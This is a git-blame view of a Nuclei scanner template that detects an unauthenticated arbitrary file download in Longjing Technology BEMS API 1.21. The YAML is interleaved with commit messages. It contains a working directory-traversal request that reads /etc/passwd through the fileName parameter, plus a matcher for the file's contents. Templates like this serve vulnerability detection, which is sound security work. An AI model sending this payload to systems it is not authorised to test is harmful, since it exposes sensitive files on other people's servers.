daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/vulnerabilities/other/bems-api-lfi.yaml

26 lines
855 B
YAML
Raw Normal View History

Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
id: bems-api-lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
info:
name: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
author: gy741
severity: high
description: The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
tags: lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
- type: status
status:
- 200